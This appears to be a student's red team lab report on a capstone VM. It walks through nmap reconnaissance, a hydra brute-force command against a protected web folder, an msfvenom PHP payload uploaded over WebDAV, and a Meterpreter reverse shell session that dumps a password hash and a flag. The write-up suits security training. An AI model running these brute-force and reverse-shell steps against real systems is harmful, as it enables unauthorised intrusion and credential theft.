Red Team
Security Assessment

Recon: Describing the Target

Nmap identified the following hosts on the network:

Hostname	IP Address	Role on Network
Capstone VM (server1)	192.168.1.105	Target Machine
Kali	192.168.1.8	Attacking Machine
ELK	192.168.1.100	Hosts all Kibana data.
Azure (LocalVM)	192.168.1.1	Hosts the Red v Blue VM.

Vulnerability Assessment

The assessment uncovered the following critical vulnerabilities in the target:

Vulnerability	Description	Impact
Unprotected sensitive data.	Finding a “secret” folder containing sensitive information while being located on a public facing server.	*Finding this directory allows the attacker to discover enough information that will lead to find user credentials*
Unauthorized file upload privilege.	Uploaded a file.	Allowed us to remote access via the reverse shell connection..
Reverse shell access	Allows the attacker to execute a command on the target machine.	The attacker is able to extract sensitive data; compromise the

Exploitation: Unprotected Sensitive Data

01

Tools & Processes

First, I ran an Nmap scan against the network (CIDR Notation- **192.168.1.0/24**). Secondly, entered the IP address of the target machine (**192.168.1.105**). From here, I discovered a list of directories. Next, I opened each directory to reveal the contents until I arrived at an area that should otherwise be protected from public access.

02

Achievements

- Discovered a “secret” folder” which required credentials.
- Subjected this directory to a brute force attempt and successfully located the password tied to the user so that further access could be granted.
- Discovered a second set of user credentials which allowed for the

03

See next slide: Screenshot provided.

03

```
root@kali:~# hydra -l ashton -P /usr/share/wordlists/rockyou.txt 192.168.1.105 http-get /company_folders/secret_folder/ -s 80
-f -V
```

```
[ATTEMPT] target 192.168.1.105 - login "ashton" - pass "electro" - 10150 of
[80][http-get] host: 192.168.1.105   login: ashton   password: leopoldo
[STATUS] attack finished for 192.168.1.105 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2021-05-03 22:15:58
root@kali:~#
```

Exploitation: Unauthorized File Upload privilege.

01

Tools & Processes
Now equipped with Ryan's credentials, I was able to access the webdav folder and upload the payload file using msfvenom.

02

Achievements
By uploading this payload file, it allowed for a netcat listener to be established which in turn allows for me [the attacker] to execute commands on the target machine.

03

See next slide: Screenshot provided.

03

```
msf exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.8:4444
[*] Sending stage (37775 bytes) to 192.168.1.105
[*] Meterpreter session 1 opened (192.168.1.8:4444 -> 192.168.1.105:45148) at 2021-05-05 21:14:12 -0400

meterpreter > options
[-] Unknown command: options.
meterpreter > pwd
/var/www/webdav
meterpreter > ls
Listing: /var/www/webdav
=========================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100777/rwxrwxrwx  43    fil   2019-05-07 14:20:22 -0400  passwd.dav
100644/rw-r--r--  1112  fil   2021-05-05 21:11:59 -0400  shell.php

meterpreter > cat passwd.dav
ryan:$apr1$fsU/VibG$HznoQs6XTF7VauEHtktNt.
meterpreter >
```

Exploitation: **Reverse shell access**

01

Tools & Processes
Used meterpreter to explore and compromise the entire system.

02

Achievements
Was able to compromise the system using arbitrary commands to gain possession of sensitive data, in this case--a flag.

03

See next slide. Screenshot provided.

03

```
meterpreter > ls
Listing: /
==========

Mode              Size        Type  Last modified              Name
----              ----        ----  -------------              ----
40755/rwxr-xr-x   4096        dir   2019-05-07 14:10:19 -0400  bin
40755/rwxr-xr-x   4096        dir   2020-09-03 12:07:41 -0400  boot
40755/rwxr-xr-x   3840        dir   2021-05-05 19:23:29 -0400  dev
40755/rwxr-xr-x   4096        dir   2021-01-28 10:25:41 -0500  etc
100644/rw-r--r--  16          fil   2019-05-07 15:15:12 -0400  flag.txt
40755/rwxr-xr-x   4096        dir   2020-05-19 13:04:21 -0400  home
100644/rw-r--r--  54710145    fil   2020-09-03 12:07:40 -0400  initrd.img
100644/rw-r--r--  54036414    fil   2019-05-07 14:10:23 -0400  initrd.img.old
40755/rwxr-xr-x   4096        dir   2019-05-07 14:10:23 -0400  lib
40755/rwxr-xr-x   4096        dir   2019-05-07 14:10:54 -0400  lib64
40700/rwx------   16384       dir   2019-05-07 14:10:15 -0400  lost+found
40755/rwxr-xr-x   4096        dir   2019-05-07 14:10:51 -0400  media
40755/rwxr-xr-x   4096        dir   2019-05-07 14:10:51 -0400  mnt
40755/rwxr-xr-x   4096        dir   2019-05-07 14:10:51 -0400  opt
40555/r-xr-xr-x   0           dir   2021-05-05 19:23:03 -0400  proc
40700/rwx------   4096        dir   2020-05-19 13:12:10 -0400  root
40755/rwxr-xr-x   860         dir   2021-05-05 19:23:43 -0400  run
40755/rwxr-xr-x   4096        dir   2019-05-07 14:10:55 -0400  sbin
40755/rwxr-xr-x   4096        dir   2019-05-07 14:16:00 -0400  snap
40755/rwxr-xr-x   4096        dir   2019-05-07 14:10:52 -0400  srv
100600/rw-------  2065694720  fil   2019-05-07 14:12:56 -0400  swap.img
40555/r-xr-xr-x   0           dir   2021-05-05 19:23:07 -0400  sys
41777/rwxrwxrwx   4096        dir   2021-05-05 19:23:43 -0400  tmp
40755/rwxr-xr-x   4096        dir   2019-05-07 14:10:55 -0400  usr
40755/rwxr-xr-x   4096        dir   2021-01-28 10:16:40 -0500  vagrant
40755/rwxr-xr-x   4096        dir   2019-05-07 14:16:46 -0400  var
100600/rw-------  8298232     fil   2019-05-07 14:12:05 -0400  vmlinuz
100600/rw-------  8257272     fil   2019-05-07 14:10:23 -0400  vmlinuz.old

meterpreter > cat flag.txt
b1ng0w@5h1sn@m0
meterpreter >
```